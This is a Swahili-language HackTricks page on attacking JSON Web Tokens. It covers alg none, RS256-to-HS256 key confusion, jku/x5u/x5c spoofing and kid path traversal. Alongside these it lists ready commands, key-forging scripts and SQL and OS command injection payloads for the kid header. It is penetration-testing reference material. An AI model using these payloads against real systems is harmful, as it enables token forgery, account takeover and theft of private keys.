JWT Vulnerabilities (Json Web Tokens)

Reading time: 12 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Sehemu ya chapisho hili inategemea chapisho nzuri: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Mwandishi wa zana kubwa ya kupima JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines

bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Ikiwa una bahati, chombo kitapata kesi ambapo programu ya wavuti inakosea kuangalia JWT:

Kisha, unaweza kutafuta ombi katika proxy yako au kutupa JWT iliyotumika kwa ombi hilo ukitumia jwt_ tool:

bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Unaweza pia kutumia Burp Extension SignSaboteur kuanzisha mashambulizi ya JWT kutoka Burp.

Badilisha data bila kubadilisha chochote

Unaweza tu kubadilisha data ukiacha saini kama ilivyo na kuangalia kama seva inakagua saini. Jaribu kubadilisha jina lako la mtumiaji kuwa "admin" kwa mfano.

Je, token inakaguliwa?

Ili kuangalia kama saini ya JWT inakaguliwa:

  • Ujumbe wa kosa unaonyesha uthibitishaji unaendelea; maelezo nyeti katika makosa ya kina yanapaswa kukaguliwa.
  • Mabadiliko katika ukurasa uliopewa pia yanaonyesha uthibitishaji.
  • Hakuna mabadiliko yanaonyesha hakuna uthibitishaji; hii ndiyo wakati wa kujaribu kubadilisha madai ya payload.

Chanzo

Ni muhimu kubaini ikiwa token ilitengenezwa upande wa seva au upande wa mteja kwa kuchunguza historia ya ombi la proxy.

  • Token ambazo kwanza zinaonekana kutoka upande wa mteja zinaonyesha kuwa funguo inaweza kuwa wazi kwa msimbo wa upande wa mteja, ikihitaji uchunguzi zaidi.
  • Token zinazotoka upande wa seva zinaonyesha mchakato salama.

Muda

Angalia ikiwa token inadumu zaidi ya masaa 24... labda haikati kamwe. Ikiwa kuna uwanja wa "exp", angalia ikiwa seva inashughulikia ipasavyo.

Brute-force HMAC siri

Tazama ukurasa huu.

Badilisha algorithimu kuwa None

Weka algorithimu inayotumika kama "None" na uondoe sehemu ya saini.

Tumia nyongeza ya Burp inayoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na katika kichupo cha "JSON Web Token" unaweza kubadilisha thamani za token. Unaweza pia kuchagua kuweka thamani ya uwanja wa "Alg" kuwa "None").

Badilisha algorithimu RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Algorithimu HS256 inatumia funguo ya siri kusaini na kuthibitisha kila ujumbe.
Algorithimu RS256 inatumia funguo ya faragha kusaini ujumbe na inatumia funguo ya umma kwa uthibitisho.

Ikiwa unabadilisha algorithimu kutoka RS256 kuwa HS256, msimbo wa nyuma unatumia funguo ya umma kama funguo ya siri na kisha unatumia algorithimu ya HS256 kuthibitisha saini.

Kisha, kwa kutumia funguo ya umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti ukitekeleza hili:

bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Funguo jipya la umma ndani ya kichwa

Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva inatumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).

Hii inaweza kufanywa kwa kutumia nyongeza ya "JSON Web Tokens" ya Burp.
(Tuma ombi kwa Repeater, ndani ya tab ya JSON Web Token chagua "CVE-2018-0114" na tuma ombi).

JWKS Spoofing

Maelekezo yanaelezea mbinu ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia madai ya kichwa "jku". Dhamira hii inapaswa kuunganisha na faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitishaji wa token.

  • Kuthibitisha Tokens zenye Kichwa "jku":

  • Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.

  • Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu uchunguzi wa trafiki.

  • Kufuatilia Maingiliano ya HTTP:

  • Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa inaonyesha juhudi za seva kupata funguo kutoka kwenye kiungo chako kilichotolewa.

  • Unapokuwa unatumia jwt_tool kwa mchakato huu, ni muhimu kuboresha faili ya jwtconf.ini na eneo lako la JWKS binafsi ili kuwezesha majaribio.

  • Amri kwa jwt_tool:

  • Tekeleza amri ifuatayo ili kuiga hali hiyo na jwt_tool:

bash
python3 jwt_tool.py JWT_HERE -X s

Muhtasari wa Masuala ya Kid

Dhamira ya hiari inayojulikana kama kid inatumika kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo funguo nyingi zinapatikana kwa uthibitishaji wa saini ya token. Dhamira hii inasaidia katika kuchagua funguo sahihi kuthibitisha saini ya token.

Kufichua Funguo kupitia "kid"

Wakati dhamira ya kid inapatikana katika kichwa, inashauriwa kutafuta katika directory ya wavuti kwa faili inayolingana au tofauti zake. Kwa mfano, ikiwa "kid":"key/12345" imeainishwa, faili /key/12345 na /key/12345.pem zinapaswa kutafutwa katika mzizi wa wavuti.

Kupita Njia kwa "kid"

Dhamira ya kid pia inaweza kutumika vibaya ili kuzunguka kupitia mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya kid ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya kid huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera -T katika jwt_tool, kama inavyoonyeshwa hapa chini:

bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kutengeneza JWT halali. Kwa mfano, faili ya /proc/sys/kernel/randomize_va_space katika mifumo ya Linux, inayojulikana kuwa na thamani 2, inaweza kutumika katika parameter ya kid na 2 kama nenosiri la simetriki kwa ajili ya uzalishaji wa JWT.

SQL Injection kupitia "kid"

Ikiwa maudhui ya dai la kid yanatumika kupata nenosiri kutoka kwa hifadhidata, kuingilia kwa SQL kunaweza kuwezesha kwa kubadilisha payload ya kid. Mfano wa payload inayotumia kuingilia kwa SQL kubadilisha mchakato wa kusaini JWT ni:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Mabadiliko haya yanawalazimisha kutumia funguo ya siri inayojulikana, ATTACKER, kwa ajili ya kusaini JWT.

OS Injection kupitia "kid"

Hali ambapo parameter ya kid inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri katika parameter ya kid, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u na jku

jku

jku inasimama kwa JWK Set URL.
Ikiwa token inatumia dai la β€œjku” Header basi angalia URL iliyotolewa. Hii inapaswa kuelekeza kwenye URL inayoshikilia faili ya JWKS ambayo ina Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti ambayo unaweza kufuatilia trafiki yake.

Kwanza unahitaji kuunda cheti kipya chenye funguo mpya za faragha na za umma.

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na za kibinafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa. Ili kuunda cheti halali cha jku unaweza kupakua kile original na kubadilisha parameters zinazohitajika.

Unaweza kupata parameters "e" na "n" kutoka kwa cheti cha umma kwa kutumia:

bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vya umma vilivyokodishwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.

Jaribu kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako na angalia kama ombi lolote linapokelewa. Katika hali hiyo, unaweza kuingilia JWT.

Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na za faragha zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.

Pia unaweza kutumia udhaifu huu kwa SSRFs.

x5c

Parameter hii inaweza kuwa na cheti katika base64:

Ikiwa mshambuliaji anaunda cheti kilichojisaini mwenyewe na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichoundwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo:

Kwa kutumia skripti ifuatayo ya nodejs inawezekana kuzalisha funguo ya umma kutoka kwa data hiyo:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Inawezekana kuunda funguo mpya za faragha/za umma, kuingiza funguo mpya za umma ndani ya token na kuitumia kuunda saini mpya:

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Unaweza kupata "n" na "e" kwa kutumia hii nodejs script:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Hatimaye, ukitumia funguo za umma na za kibinafsi na thamani mpya "n" na "e" unaweza kutumia jwt.io kuunda JWT mpya halali yenye taarifa yoyote.

ES256: Kufichua funguo za kibinafsi kwa nonce sawa

Ikiwa programu fulani zinatumia ES256 na kutumia nonce sawa kuunda jwts mbili, funguo za kibinafsi zinaweza kurejeshwa.

Hapa kuna mfano: ECDSA: Kufichua funguo za kibinafsi, ikiwa nonce sawa inatumika (na SECP256k1)

JTI (JWT ID)

Dai la JTI (JWT ID) linatoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token isirudishwe.
Hata hivyo, fikiria hali ambapo urefu wa juu wa ID ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia ID sawa. Hivyo ikiwa backend inaongeza ID kwa kila ombi unaweza kutumia hii kurudisha ombi (ukihitaji kutuma ombi 10000 kati ya kila kurudisha kwa mafanikio).

JWT Registered claims

{{#ref}} https://www.iana.org/assignments/jwt/jwt.xhtml#claims {{#endref}}

Mashambulizi Mengine

Mashambulizi ya Relay ya Huduma Mbalimbali

Imeshuhudiwa kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kuunda na kusimamia token zao. Matukio yameandikwa ambapo token, iliyoundwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurudisha token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.

  • Tatizo muhimu linaweza kuashiriwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la kijivu kisheria.

Ukaguzi wa Kuisha kwa Token

Kuisha kwa token kunakaguliwa kwa kutumia dai la Payload "exp". Kwa kuwa JWT mara nyingi hutumiwa bila taarifa za kikao, usimamizi wa makini unahitajika. Katika matukio mengi, kukamata na kurudisha JWT ya mtumiaji mwingine kunaweza kuwezesha kujifanya kuwa mtumiaji huyo. JWT RFC inapendekeza kupunguza mashambulizi ya kurudisha JWT kwa kutumia dai la "exp" kuweka muda wa kuisha kwa token. Zaidi ya hayo, utekelezaji wa ukaguzi husika na programu ili kuhakikisha usindikaji wa thamani hii na kukataa token zilizokwisha muda ni muhimu. Ikiwa token ina dai la "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi token na kuirudisha baada ya muda wa kuisha kupita kunashauriwa. Maudhui ya token, ikiwa ni pamoja na uchambuzi wa alama ya muda na ukaguzi wa kuisha (alama ya muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt_tool.

  • Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha token, kwani inaweza kuashiria kwamba token haiwezi kamwe kuisha.

Zana

{{#ref}} https://github.com/ticarpi/jwt_tool {{#endref}}

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks